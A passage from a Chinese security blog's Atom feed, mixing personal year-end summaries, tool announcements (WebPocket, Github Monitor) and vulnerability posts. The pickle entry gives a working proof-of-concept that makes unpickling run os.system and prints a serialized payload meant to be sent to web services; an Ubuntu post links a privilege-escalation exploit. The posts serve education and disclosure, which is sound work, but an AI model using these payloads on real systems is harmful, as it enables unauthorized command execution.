    <category term="攻防演习" scheme="http://www.hackersb.cn/tags/%E6%94%BB%E9%98%B2%E6%BC%94%E4%B9%A0/"/>
    
  </entry>
  
  <entry>
    <title>Python Pickle命令执行漏洞原理</title>
    <link href="http://www.hackersb.cn/study/python-pickle-command-execute.html"/>
    <id>http://www.hackersb.cn/study/python-pickle-command-execute.html</id>
    <published>2019-06-04T03:12:36.000Z</published>
    <updated>2021-08-09T08:58:49.404Z</updated>
    
    <content type="html"><![CDATA[<h1 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h1><p>Python的序列化/反序列化模块有两个，一个是Pickle、一个是cPickle，<a href="https://docs.python.org/zh-cn/3/library/pickle.html#module-pickle"><code>pickle</code></a> 实现了对一个 Python 对象结构的二进制序列化和反序列化。 <em>“Pickling”</em> 是将 Python 对象和所拥有的层次结构被转化为一个字节流的过程，而 <em>“unpickling”</em> 是相反的操作，会将（来自一个 <a href="https://docs.python.org/zh-cn/3/glossary.html#term-binary-file">binary file</a> 或者 <a href="https://docs.python.org/zh-cn/3/glossary.html#term-bytes-like-object">bytes-like object</a> 的）字节流转化回一个对象层次结构。Pickling（和 unpickling）也被称为“序列化”, “编组”  或者 “平面化”。而为了避免混乱，此处采用术语 “pickling” 和 “unpickling”。</p><p>Python官方文档上也说明了：<a href="https://docs.python.org/zh-cn/3/library/pickle.html#module-pickle"><code>pickle</code></a> 模块在接受被错误地构造或者被恶意地构造的数据时不安全。永远不要 unpickle 来自于不受信任的或者未经验证的来源的数据。</p><h1 id="Pickle模块"><a href="#Pickle模块" class="headerlink" title="Pickle模块"></a>Pickle模块</h1><p>Pickle模块有4个主要的方法，分别是：<code>load</code>、<code>loads</code>、<code>dump</code>、<code>dumps</code>。</p><p>具体用法及传参请自行查看手册，以下简单介绍：</p><h3 id="load"><a href="#load" class="headerlink" title="load"></a>load</h3><p>从文件中读取已序列化的数据并返回重建的对象结构。</p><h3 id="loads"><a href="#loads" class="headerlink" title="loads"></a>loads</h3><p>从字节对象中读取已序列化的数据并返回重建的数据结构。</p><h3 id="dump"><a href="#dump" class="headerlink" title="dump"></a>dump</h3><p>序列化对象并写入到文件中。</p><h3 id="dumps"><a href="#dumps" class="headerlink" title="dumps"></a>dumps</h3><p>序列化对象并返回字节对象。</p><hr><p>介绍完4 个方法，不得不提一下<code>__reduce__</code>魔术方法。</p><h3 id="reduce"><a href="#reduce" class="headerlink" title="__reduce__"></a>__reduce__</h3><p>当定义扩展类型时（也就是使用Python的C语言API实现的类型），如果你想pickle它们，你必须告诉Python如何pickle它们。<code> __reduce__</code> 被定义之后，当对象被Pickle时就会被调用。它要么返回一个代表全局名称的字符串，Pyhton会查找它并pickle，要么返回一个元组。这个元组包含2到5个元素，其中包括：一个可调用的对象，用于重建对象时调用；一个参数元素，供那个可调用对象使用；被传递给 <strong>setstate</strong> 的状态（可选）；一个产生被pickle的列表元素的迭代器（可选）；一个产生被pickle的字典元素的迭代器（可选）；</p><p>也就是说，如果我们重写<code>__reduce__</code>并让他返回2 个元素，第一个元素为可调用的对象，比如<code>os.system</code>，第二个元素会被<code>os.system</code>当做参数调用。</p><h1 id="构造基础Payload"><a href="#构造基础Payload" class="headerlink" title="构造基础Payload"></a>构造基础Payload</h1><p>根据上述的理论，我们可以写出来这样的代码<code>pickle_poc.py</code>：</p><pre><code class="hljs python"><span class="hljs-keyword">import</span> pickle<span class="hljs-keyword">import</span> os<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Poc</span>:</span><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__reduce__</span>(<span class="hljs-params">self</span>):</span>cmd = <span class="hljs-string">&quot;ls&quot;</span><span class="hljs-keyword">return</span> os.system, (cmd,)poc = Poc()pickle.dump(poc, <span class="hljs-built_in">open</span>(<span class="hljs-string">&#x27;poc.txt&#x27;</span>, <span class="hljs-string">&#x27;wb&#x27;</span>))</code></pre><p>我们建立了一个<code>Poc</code>类，重写了它的<code>__reduce__</code>方法，返回了两个元素，第一个元素是<code>os.system</code>，第二个元素是个<code>tuple</code>，在反序列化的时候，<code>ls</code>命令应该会被执行。</p><p>我们使用<code>pickle.dump</code>方法将序列化后的字节写入了文件。</p><p>下面我们来写一个反序列化的脚本，来触发漏洞<code>unpickle.py</code>：</p><pre><code class="hljs python"><span class="hljs-keyword">import</span> os<span class="hljs-keyword">import</span> picklepickle.load(<span class="hljs-built_in">open</span>(<span class="hljs-string">&#x27;poc.txt&#x27;</span>, <span class="hljs-string">&#x27;br&#x27;</span>))</code></pre><p>首先执行<code>pickle_poc.py</code>生成POC，会发现当前目录下出现<code>poc.txt</code>：</p><p><img src="https://static.secbox.cn/md/2019-06-05-033748.jpg"></p><p>然后我们执行<code>unpickle.py</code>对该<code>poc.txt</code>进行反序列化：</p><p><img src="https://static.secbox.cn/md/2019-06-05-033855.jpg"></p><p>然后就会发现命令被执行了。</p><p>但是目前的payload是二进制格式的，不太方便在实战中去利用，所以可以使用<code>dumps</code>方法来导出易于利用的payload，比如：</p><pre><code class="hljs python"><span class="hljs-keyword">import</span> pickle<span class="hljs-keyword">import</span> os<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Poc</span>:</span><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__reduce__</span>(<span class="hljs-params">self</span>):</span>cmd = <span class="hljs-string">&quot;ls&quot;</span><span class="hljs-keyword">return</span> os.system, (cmd,)poc = Poc()<span class="hljs-built_in">print</span>(pickle.dumps(poc))</code></pre><p>使用<code>dumps</code>生成出来的payload是这样的：</p><blockquote><p>b’\x80\x03cposix\nsystem\nq\x00X\x02\x00\x00\x00lsq\x01\x85q\x02Rq\x03.’</p></blockquote><p>这样的payload就可以进行<code>urlencode</code>编码以后在web中进行发送了。</p><h1 id="后话"><a href="#后话" class="headerlink" title="后话"></a>后话</h1><p>本来想找个demo来演示的，但实在是找不到，也懒得写demo了。</p><p>本文主要还是理解一下pickle模块执行命令的原理，如果有理解错误的地方欢迎交流。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;简介&quot;&gt;&lt;a href=&quot;#简介&quot; class=&quot;headerlink&quot; title=&quot;简介&quot;&gt;&lt;/a&gt;简介&lt;/h1&gt;&lt;p&gt;Python的序列化/反序列化模块有两个，一个是Pickle、一个是cPickle，&lt;a href=&quot;https://docs.python</summary>
      
    
    
    
    <category term="study" scheme="http://www.hackersb.cn/categories/study/"/>
    
    
    <category term="Python" scheme="http://www.hackersb.cn/tags/Python/"/>
    
    <category term="Pickle" scheme="http://www.hackersb.cn/tags/Pickle/"/>
    
  </entry>
  
  <entry>
    <title>WebPocket渗透测试辅助框架</title>
    <link href="http://www.hackersb.cn/hacker/262.html"/>
    <id>http://www.hackersb.cn/hacker/262.html</id>
    <published>2019-03-04T08:20:00.000Z</published>
    <updated>2021-08-09T08:58:49.397Z</updated>
    
    <content type="html"><![CDATA[<p><strong>WebPocket</strong> 是一个轻量级渗透测试辅助框架，使用Python3.7构建，整体思路借鉴自 <a href="https://www.metasploit.com/">Metasploit</a> 。</p><p>包含 <code>use</code>, <code>search</code>, <code>list</code>, <code>show</code>, <code>exploit</code> 等命令，可通过<code>help</code>命令查看全部命令。</p><p>本框架仅为沉淀安全研究成果，方便甲方公司及安全人员自测漏洞使用，请勿用于非授权的渗透测试，请使用者遵守《中华人民共和国网络安全法》，本人及公司不负任何连带法律责任</p><p><a href="https://asciinema.org/a/Oe4dZp79yllpda95vPNit9ft5"><img src="https://asciinema.org/a/Oe4dZp79yllpda95vPNit9ft5.svg" alt="asciicast" title="asciicast"></a></p><p>项目地址：<a href="https://github.com/TuuuNya/WebPocket">https://github.com/TuuuNya/WebPocket</a><br>中文文档：<a href="https://webpocket.readthedocs.io/zh_CN/latest/">https://webpocket.readthedocs.io/zh_CN/latest/</a></p><h1 id="关于本项目"><a href="#关于本项目" class="headerlink" title="关于本项目"></a>关于本项目</h1><p>该项目目前还处于测试阶段，开发思路或框架将来可能会有大的变动。</p><p>开发思路均是我个人想法，是否稳定有待实践来验证。</p><p>欢迎大家对整体框架提出建议，非常感谢！</p><p>也欢迎大家可以在日常分析完漏洞后随手写一份模块给我们，感激不尽！</p><h1 id="联系我"><a href="#联系我" class="headerlink" title="联系我"></a>联系我</h1><ul><li>  ID：Tuuu Nya</li><li>  Email：<a href="mailto:&#115;&#111;&#110;&#103;&#x40;&#x73;&#x65;&#x63;&#98;&#111;&#120;&#46;&#99;&#x6e;">&#115;&#111;&#110;&#103;&#x40;&#x73;&#x65;&#x63;&#98;&#111;&#120;&#46;&#99;&#x6e;</a></li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;&lt;strong&gt;WebPocket&lt;/strong&gt; 是一个轻量级渗透测试辅助框架，使用Python3.7构建，整体思路借鉴自 &lt;a href=&quot;https://www.metasploit.com/&quot;&gt;Metasploit&lt;/a&gt; 。&lt;/p&gt;
&lt;p&gt;包含 &lt;code&gt;us</summary>
      
    
    
    
    <category term="hacker" scheme="http://www.hackersb.cn/categories/hacker/"/>
    
    
    <category term="WebPocket" scheme="http://www.hackersb.cn/tags/WebPocket/"/>
    
  </entry>
  
  <entry>
    <title>2018年度总结</title>
    <link href="http://www.hackersb.cn/life/261.html"/>
    <id>http://www.hackersb.cn/life/261.html</id>
    <published>2019-01-02T09:49:00.000Z</published>
    <updated>2021-08-09T08:58:49.396Z</updated>
    
    <content type="html"><![CDATA[<p>人们都有一种错觉..就是每长一岁，就觉得自己变得更加成熟了，我今年的这种感觉尤为强烈，可能是因为我要结婚了吧……</p><p>每年都写年度总结，无疑最主要的还是想看看自己的成长，总不能一年又过去了，自己却什么都没长进。</p><h2 id="工作和技术"><a href="#工作和技术" class="headerlink" title="工作和技术"></a>工作和技术</h2><p>我是安全出身的，挖洞和渗透能力比较强，但我却一直有一颗做安全开发的心。</p><p>今年的工作重心从渗透转向了安全开发这边，主要开发了VIPKID这边的安全统一管理平台、Github Monitor。</p><p>Github Monitor现在已经开源了，有兴趣的小伙伴可以看看：<a href="https://github.com/VKSRC/Github-Monitor">https://github.com/VKSRC/Github-Monitor</a></p><p>今年前端主要学习了<code>react全家桶</code>、<code>Ant Design Pro</code>、<code>Umijs</code>、<code>Dva.js</code> 差不多算是半个前端了吧。</p><p>后端主要还是学习了<code>Django Rest Framework</code>，用来写API接口。</p><p>Antd Design Pro和DRF配合起来写后台太爽了吧。</p><h2 id="生活相关"><a href="#生活相关" class="headerlink" title="生活相关"></a>生活相关</h2><p>重点！！！和@佳老板 订婚了，在2019年1月7日结婚。</p><p>我LOL终于上黄金了！！本来是想上钻石的，但是现在只想和佳老板结婚好好过日子。</p><h2 id="2019年计划"><a href="#2019年计划" class="headerlink" title="2019年计划"></a>2019年计划</h2><ul><li>  有好多好玩的工具想做，要继续好好学习安全开发，争取19年能把我想做的安全工具开发出来，如果可以开源最好！</li><li>  要买辆车，然后多练练。</li><li>  当一个好丈夫和一个好爸爸。</li></ul><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>还在安全路上，继续努力。</p><p>成为丈夫，也成为父亲，继续努力，给老婆和孩子更好的生活！</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;人们都有一种错觉..就是每长一岁，就觉得自己变得更加成熟了，我今年的这种感觉尤为强烈，可能是因为我要结婚了吧……&lt;/p&gt;
&lt;p&gt;每年都写年度总结，无疑最主要的还是想看看自己的成长，总不能一年又过去了，自己却什么都没长进。&lt;/p&gt;
&lt;h2 id=&quot;工作和技术&quot;&gt;&lt;a href</summary>
      
    
    
    
    <category term="life" scheme="http://www.hackersb.cn/categories/life/"/>
    
    
    <category term="年度总结" scheme="http://www.hackersb.cn/tags/%E5%B9%B4%E5%BA%A6%E6%80%BB%E7%BB%93/"/>
    
  </entry>
  
  <entry>
    <title>Github Monitor - Github信息泄漏监控系统开源啦！</title>
    <link href="http://www.hackersb.cn/code/256.html"/>
    <id>http://www.hackersb.cn/code/256.html</id>
    <published>2018-12-19T11:30:08.000Z</published>
    <updated>2021-08-09T08:58:49.396Z</updated>
    
    <content type="html"><![CDATA[<p><strong>GITHUB MONITOR</strong> 是vipkid安全研发团队打造的用于监控Github代码仓库的系统。通过该系统可以及时发现企业内部代码泄露、从而降低由于代码泄露导致的一系列安全风险。用户仅需通过简单的任务配置，即可在分钟级发现代码泄露的情况。项目后端使用 <strong><a href="https://www.django-rest-framework.org/">django-rest-framework</a></strong> 开发，前端使用 <strong><a href="https://reactjs.org/">react</a></strong> 和 <strong><a href="https://pro.ant.design/">antd-pro</a></strong> 开发。</p><h2 id="系统特点"><a href="#系统特点" class="headerlink" title="系统特点"></a>系统特点</h2><ul><li>  分钟级监控</li><li>  简单且灵活的任务配置</li><li>  邮件提醒</li><li>  github token管理</li><li>  支持docker一键部署</li><li>  运行十分稳定</li></ul><h2 id="安装指南"><a href="#安装指南" class="headerlink" title="安装指南"></a>安装指南</h2><p>首先将代码clone到本地：</p><p><code>git clone https://github.com/VKSRC/Github-Monitor.git</code></p><h3 id="1-docker-部署"><a href="#1-docker-部署" class="headerlink" title="1. docker 部署"></a>1. docker 部署</h3><p>我们推荐使用<code>Docker</code>进行部署, 相对于源码部署更为简单和快速。</p><p>部署前请务必先安装<code>Docker</code>及<code>docker-compose</code>。</p><h4 id="修改配置文件"><a href="#修改配置文件" class="headerlink" title="修改配置文件"></a>修改配置文件</h4><p>首先复制根目录的<code>.env.docker</code>并重命名为<code>.env</code>，修改其中的<code>Email Settings</code>和<code>initial Administrator</code>配置。这两个配置分别控制邮件提醒，以及初始管理帐号密码。</p><p><strong>注意: 如果需要访问的地址不是<code>127.0.0.1</code>或<code>localhost</code>, 需要修改<code>ALLOWED_HOST</code>参数,将访问地址加到里面, 如: <code>ALLOWED_HOSTS=&quot;127.0.0.1,localhost,github.sec.vipkid.com.cn&quot;</code></strong></p><h4 id="一键启动"><a href="#一键启动" class="headerlink" title="一键启动"></a>一键启动</h4><pre><code>docker-compose up -d</code></pre><p>访问<code>http://127.0.0.1:8001</code>即可看到页面。</p><h4 id="修改启动端口"><a href="#修改启动端口" class="headerlink" title="修改启动端口"></a>修改启动端口</h4><p>如果想修改启动端口，可以修改<code>docker-compose.yaml</code>文件中<code>web</code>容器的<code>ports</code>。</p><p>默认为<code>8001:80</code>，比如要修改为<code>8080</code>端口可改为<code>8080:80</code>。</p><h3 id="2-源码部署"><a href="#2-源码部署" class="headerlink" title="2. 源码部署:"></a>2. 源码部署:</h3><p>项目运行依赖 <strong>redis</strong>, 请在运行服务前启动<strong>redis-server</strong></p><hr><p>首先将<code>.env.sample</code>复制一份重命名为<code>.env</code>，并按照自己的要求修改配置:</p><pre><code># Django SettingsDEBUG=&quot;True&quot;  # Django后台是否以debug模式运行, 可选True/FalseALLOWED_HOSTS=&quot;127.0.0.1,localhost&quot;  # 配置Django Allowed_Hosts# Database Settings# DATABASE choice is mysql or sqliteDATABASE=&quot;sqlite&quot;  # 数据库类型, 可选sqlite或mysqlDB_NAME=&quot;github&quot;  # 数据库名称DB_HOST=&quot;127.0.0.1&quot;  # mysql hostDB_PORT=&quot;3306&quot;  # mysql portDB_USER=&quot;root&quot;  # mysql用户名DB_PASSWORD=&quot;vipkid@2018&quot;  # mysql密码# Email Settings# If you do not fill it in, it is None/FalseEMAIL_HOST=&quot;smtp.example.com&quot;  # smtp hostEMAIL_PORT=&quot;25&quot;  # smtp portFROM_EMAIL=&quot;secuirty@example.com&quot;  # 发件人EMAIL_HOST_USER=&quot;security@example.com&quot;  # email user, 如为匿名发送，将值设为空字符即可EMAIL_HOST_PASSWORD=&quot;password123!@#&quot;  # email password, 如为匿名发送，将值设为空字符即可EMAIL_USE_TLS=EMAIL_USE_SSL=# initial AdministratorINIT_ADMIN_USERNAME=&quot;admin&quot;  # 初始化系统用户使用的用户名INIT_ADMIN_PASSWORD=&quot;password123!@#&quot;  # 初始化系统用户使用的用户密码</code></pre><p>​    </p><ul><li>  后端代码运行部署:</li></ul><blockquote><p>测试环境可以使用django runserver的方式来进行部署，生产环境建议使用uwsgi + Nginx的方式部署，配置文件的示例可以参考 <a href="./conf">配置</a> 目录下的文件。</p></blockquote><ol><li><p> 进入项目根目录下的server目录</p></li><li><p> 配置virtualenv环境（建议）</p></li><li><p>在mysql里创建数据库(如使用sqlite、请忽略此步):</p><pre><code> &gt; 登录进mysql后， 执行 ```CREATE DATABASE IF NOT EXISTS github DEFAULT CHARSET utf8mb4 COLLATE utf8mb4_bin;```</code></pre></li><li><p>在server目录下执行如下脚本:</p><p> 安装python依赖</p><p> pip3 install -r requirements.pip -i <a href="http://pypi.doubanio.com/simple">http://pypi.doubanio.com/simple</a> –trusted-host pypi.doubanio.com</p><p> 初始化数据库</p><p> python3 manage.py migrate</p><p> 初始化用户账号</p><p> python3 manage.py init_admin</p><p> 启动web后端服务:</p><p> python3 manage.py runserver 127.0.0.1:8001</p><p> 启动监控任务服务:</p><p> python3 manage.py monitor_task_service</p></li></ol><hr><ul><li>  前端代码部署:</li></ul><blockquote><p>测试环境可以使用 <code>npm run start</code> 方式启动, 生产环境建议先通过 <code>npm run build</code>生成静态文件，然后通过nginx做转发来做。</p></blockquote><ol><li> 进入项目根目录下的client目录</li><li> 如果后端接口地址不为 <code>127.0.0.1:8001</code>, 需要修改<code>config/config.local.js</code>, 将target修改为后端地址即可</li><li> 执行: <code>npm install &amp;&amp; npm run start</code></li></ol><h2 id="使用手册"><a href="#使用手册" class="headerlink" title="使用手册"></a>使用手册</h2><h3 id="1-添加Token"><a href="#1-添加Token" class="headerlink" title="1.添加Token"></a>1.添加Token</h3><p>Github Monitor使用Github REST API v3接口进行搜索，所以需要预先配置Token进行认证。</p><p>首先登录Github，然后进入<a href="https://github.com/settings/tokens">Token配置页面</a>创建Token。</p><p>随后把Token添加到Github Monitor中。</p><p><img src="https://github.com/VKSRC/Github-Monitor/raw/master/docs/media/token.jpg"></p><p>Github API有次数限制，1分钟最多请求30次，为了提高爬取速度，Github Monitor支持添加多个Token。</p><h3 id="2-添加监控任务"><a href="#2-添加监控任务" class="headerlink" title="2.添加监控任务"></a>2.添加监控任务</h3><p>如图：</p><p><img src="https://github.com/VKSRC/Github-Monitor/raw/master/docs/media/task.jpg"></p><ul><li>  任务名称：仅做标记使用,无实际意义。</li><li>  关键词：支持多个关键词，每行一个，支持<a href="https://developer.github.com/v3/search/#search-code">Github REST API v3搜索语法</a>，如：<code>vipkid extension:java</code>，只搜索java后缀文件。</li><li>  忽略帐号：不支持模糊匹配，忽略指定帐号下的仓库，同样支持多个帐号，换行分隔。</li><li>  忽略仓库：支持模糊匹配，比如：<code>github.io</code>，可忽略<code>test.github.io</code>、<code>vipkid.github.io</code>等仓库。</li><li>  邮箱：可为空，不填则不会邮件提醒。</li><li>  爬取页数：默认5页，每页50条数据。</li><li>  爬取间隔：默认60分钟，可根据自己需求修改。</li></ul><h3 id="3-确认-忽略风险"><a href="#3-确认-忽略风险" class="headerlink" title="3.确认/忽略风险"></a>3.确认/忽略风险</h3><p>如图：</p><p><img src="https://github.com/VKSRC/Github-Monitor/raw/master/docs/media/list.jpg"></p><p>爬虫爬取到的数据会入库，可以在<code>查询系统</code>中进行操作，进行<code>处理/加白/忽略仓库</code>操作。</p><ul><li>  处理：确认有风险，需要处理。</li><li>  加白：确认无风险，以后不会再提醒，如果文件有修改，还是会再次提醒。</li><li>  忽略仓库：批量加白该仓库下已经发现的信息。</li></ul><h2 id="联系我们"><a href="#联系我们" class="headerlink" title="联系我们"></a>联系我们</h2><p>关注VKSRC微信公众号，有任何建议和意见都可以发送到公众号/提交Issue。</p><p><img src="https://github.com/VKSRC/Github-Monitor/raw/master/docs/media/wechat.jpeg" alt="Wechat" title="Wechat"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;&lt;strong&gt;GITHUB MONITOR&lt;/strong&gt; 是vipkid安全研发团队打造的用于监控Github代码仓库的系统。通过该系统可以及时发现企业内部代码泄露、从而降低由于代码泄露导致的一系列安全风险。用户仅需通过简单的任务配置，即可在分钟级发现代码泄露的情况。</summary>
      
    
    
    
    <category term="code" scheme="http://www.hackersb.cn/categories/code/"/>
    
    
    <category term="Github-Monitor" scheme="http://www.hackersb.cn/tags/Github-Monitor/"/>
    
    <category term="Github监控" scheme="http://www.hackersb.cn/tags/Github%E7%9B%91%E6%8E%A7/"/>
    
    <category term="安全开发" scheme="http://www.hackersb.cn/tags/%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91/"/>
    
  </entry>
  
  <entry>
    <title>博客的主题Typecho-Tuuu开源啦！</title>
    <link href="http://www.hackersb.cn/code/251.html"/>
    <id>http://www.hackersb.cn/code/251.html</id>
    <published>2018-09-26T10:21:00.000Z</published>
    <updated>2021-08-09T08:58:49.396Z</updated>
    
    <content type="html"><![CDATA[<p><img src="https://github.com/Strikersb/Typecho-Tuuu/raw/master/screenshot.png"></p><pre><code>预览地址：www.hackersb.cn</code></pre><p><strong>Github地址：<a href="https://github.com/Strikersb/Typecho-Tuuu">https://github.com/Strikersb/Typecho-Tuuu</a></strong></p><h2 id="友情链接"><a href="#友情链接" class="headerlink" title="友情链接"></a>友情链接</h2><p>友情链接插件使用的是<a href="http://www.imhan.com/archives/typecho_links_20141214/">Links</a></p><p>创建友情链接页面选<code>自定义模板</code> -&gt; <code>友情链接模板</code></p><h2 id="配置页面"><a href="#配置页面" class="headerlink" title="配置页面"></a>配置页面</h2><p><img src="https://github.com/Strikersb/Typecho-Tuuu/raw/master/img_settings.png"></p><p>一目了然，就不多说了。</p><h2 id="Readme"><a href="#Readme" class="headerlink" title="Readme"></a>Readme</h2><p>几年前写的老代码，代码很乱，但是有朋友一直想要，就开源啦！</p><p>Author: Tuuu Nya</p><p>Blog: <a href="http://www.hackersb.cn/">www.hackersb.cn</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;&lt;img src=&quot;https://github.com/Strikersb/Typecho-Tuuu/raw/master/screenshot.png&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;预览地址：www.hackersb.cn
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;str</summary>
      
    
    
    
    <category term="code" scheme="http://www.hackersb.cn/categories/code/"/>
    
    
    <category term="博客主题" scheme="http://www.hackersb.cn/tags/%E5%8D%9A%E5%AE%A2%E4%B8%BB%E9%A2%98/"/>
    
  </entry>
  
  <entry>
    <title>Ubuntu16.04.4本地提权漏洞</title>
    <link href="http://www.hackersb.cn/Linux/244.html"/>
    <id>http://www.hackersb.cn/Linux/244.html</id>
    <published>2018-03-16T10:35:00.000Z</published>
    <updated>2021-08-09T08:58:49.395Z</updated>
    
    <content type="html"><![CDATA[<h2 id="漏洞简介"><a href="#漏洞简介" class="headerlink" title="漏洞简介"></a>漏洞简介</h2><p>Twitter上<code>Nikolenko</code>发推表示ubuntu最新版本存在一个本地提权漏洞，并且提供了EXP下载地址，该漏洞在老版本中已经完成修复，但是在ubuntu16.04版本依旧可以被利用。</p><p><img src="https://static.secbox.cn/2018-03-16-15211958549029.jpg"></p><h2 id="影响范围"><a href="#影响范围" class="headerlink" title="影响范围"></a>影响范围</h2><p>目前已知范围</p><p>ubuntu 16.04.4</p><h2 id="漏洞复现"><a href="#漏洞复现" class="headerlink" title="漏洞复现"></a>漏洞复现</h2><p>使用本人在日本云平台服务商<code>conoha.jp</code>上的主机测试，亲测可用。</p><p><img src="https://static.secbox.cn/2018-03-16-QQ20180316-181627@2x.png" alt="QQ20180316-181627@2x" title="QQ20180316-181627@2x"></p><p>POC下载链接：<a href="https://www.hackersb.cn/usr/uploads/2018/03/1930063493.zip">upstream44.c.zip</a></p><h2 id="修复方案"><a href="#修复方案" class="headerlink" title="修复方案"></a>修复方案</h2><p>目前暂未有明确的补丁升级方案。 建议用户在评估风险后，通过修改内核参数限制普通用户使用bpf(2)系统调用：</p><pre><code>echo 1 &gt; /proc/sys/kernel/unprivileged_bpf_disabled</code></pre><p>ubuntu官网暂时没有提供修复方案，补丁更新请关注ubuntu官方漏洞公告：<a href="https://usn.ubuntu.com/">https://usn.ubuntu.com/</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;漏洞简介&quot;&gt;&lt;a href=&quot;#漏洞简介&quot; class=&quot;headerlink&quot; title=&quot;漏洞简介&quot;&gt;&lt;/a&gt;漏洞简介&lt;/h2&gt;&lt;p&gt;Twitter上&lt;code&gt;Nikolenko&lt;/code&gt;发推表示ubuntu最新版本存在一个本地提权漏洞，并且提供了EX</summary>
      
    
    
    
    <category term="Linux" scheme="http://www.hackersb.cn/categories/Linux/"/>
    
    
    <category term="Ubuntu" scheme="http://www.hackersb.cn/tags/Ubuntu/"/>
    
    <category term="本地提权漏洞" scheme="http://www.hackersb.cn/tags/%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83%E6%BC%8F%E6%B4%9E/"/>
    
  </entry>
  
  <entry>
    <title>2017 summary</title>
    <link href="http://www.hackersb.cn/life/240.html"/>
    <id>http://www.hackersb.cn/life/240.html</id>
    <published>2018-01-09T03:41:00.000Z</published>
    <updated>2021-08-09T08:58:49.395Z</updated>
    
    <content type="html"><![CDATA[<p>今天是2018年1月9日，昨天考科目二，发着38度的高烧竟然考过了，学车真的是太累了，起早贪黑的，早晨五点起床，一直练到下午7点，然后回到家就9点多了，再吃点东西啥的就得睡觉了，真的累。再加上驾校风大，最近北京降温，就感冒发烧了。昨天早晨10点30分坐班车去驾校，快12点到驾校，等到12点50才能进考场，一直等报我名字，等到3点左右才考完，全程头晕…… 好在考试的那十分钟脑子还是比较清醒的，只是刚上车的时候，安全员让我把车往前开点，我就开始打火，结果两次都没打成功，只听到安全员跟我说：“车本来就点火着呢”瞬间心态就崩了…… 但还是顺利通过了。</p><p>然后回到家就一直在睡觉了，一整天也没吃饭，晚上我对象回家的时候，量了一下体温38.7度，然后就起身穿衣服去医院，在医院一直折腾到晚上1点多才回家。发烧感冒还真是麻烦，有个对象真好。</p><h2 id="工作相关"><a href="#工作相关" class="headerlink" title="工作相关"></a>工作相关</h2><p>今年工作的转折点就是从360离职到VIPKID了吧。</p><p>刚从360离职的时候感觉很自信，面了好几家公司，反响也都还不错，但是想找一个合适的公司太难了。</p><p>最终定下了VIPKID，安全初创，有个Leader带着我们去做，感觉能学到很多东西，现在回想，确实学到了很多东西，不管是技术上还是思维上，还是做PPT上 哈哈哈哈哈哈哈 感谢飞哥。</p><p>工作上今年其实没有做太多事情，也就是搭建起来了VIPKID安全应急响应中心，开发了一部分VIPKID统一安全管理平台。</p><p>还有就是甲方和乙方的感觉就是不一样啊（甲方果然是大爷）</p><h2 id="技术相关"><a href="#技术相关" class="headerlink" title="技术相关"></a>技术相关</h2><p>去年写的总结里面说今年要学习Django和Vue.js，今年都做到了，也在VIPKID安全应急响应中心用到了这些技术。</p><p>去年还说今年要学一下docker-compose和用Dockerfile构建镜像，用Docker-compose封装了一个树莓派的filerun+aira2支持离线下载的网盘程序，差不多也算OK了。18年再多练就好啦。</p><p>18年要做的事情如下：</p><ul><li>  让树莓派发挥更多的价值（有必要的话可以多入手几块树莓派）</li><li>  如果有机会可以玩一下arduino开发板</li><li>  开发一些成体系的安全平台/工具</li></ul><h2 id="生活相关"><a href="#生活相关" class="headerlink" title="生活相关"></a>生活相关</h2><h3 id="看过的书"><a href="#看过的书" class="headerlink" title="看过的书"></a>看过的书</h3><p>《Docker容器与容器云》</p><p>《PythonWeb开发实战》</p><h3 id="看过的电影"><a href="#看过的电影" class="headerlink" title="看过的电影"></a>看过的电影</h3><p>《妖猫传》</p><p>《飞屋环游记》</p><p>《缝纫机乐队》</p><p>《英伦对决》</p><p>《功守道》</p><h3 id="玩过的地方"><a href="#玩过的地方" class="headerlink" title="玩过的地方"></a>玩过的地方</h3><p>去深圳看了一次海，可惜是晚上去的，并不好玩。18年找机会夏天去一次~</p><p>18年还要带对象去成都再吃一次</p><h2 id="2017年度计划"><a href="#2017年度计划" class="headerlink" title="2017年度计划"></a>2017年度计划</h2><h3 id="要看的书"><a href="#要看的书" class="headerlink" title="要看的书"></a>要看的书</h3><p>说实话觉得没有啥固定的书了，看缺啥技术再看吧。</p><h3 id="要学的技术"><a href="#要学的技术" class="headerlink" title="要学的技术"></a>要学的技术</h3><ul><li>  巩固Django</li><li>  巩固Docker-compose</li><li>  巩固Vue.js</li><li>  学习Java</li><li>  学习摄影+后期</li></ul><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>18年差不多过年前后就可以拿到驾驶证了，然后今年要在中旬左右买到奔驰GLA SUV，带着女票去游遍全中国~</p><p>然后学摄影和后期，拍很多漂亮的照片~</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;今天是2018年1月9日，昨天考科目二，发着38度的高烧竟然考过了，学车真的是太累了，起早贪黑的，早晨五点起床，一直练到下午7点，然后回到家就9点多了，再吃点东西啥的就得睡觉了，真的累。再加上驾校风大，最近北京降温，就感冒发烧了。昨天早晨10点30分坐班车去驾校，快12点到</summary>
      
    
    
    
    <category term="life" scheme="http://www.hackersb.cn/categories/life/"/>
    
    
  </entry>
  
  <entry>
    <title>Typecho 反序列化漏洞导致前台getshell</title>
    <link href="http://www.hackersb.cn/shenji/239.html"/>
    <id>http://www.hackersb.cn/shenji/239.html</id>
    <published>2017-10-26T11:41:00.000Z</published>
    <updated>2021-08-09T08:58:49.395Z</updated>
    
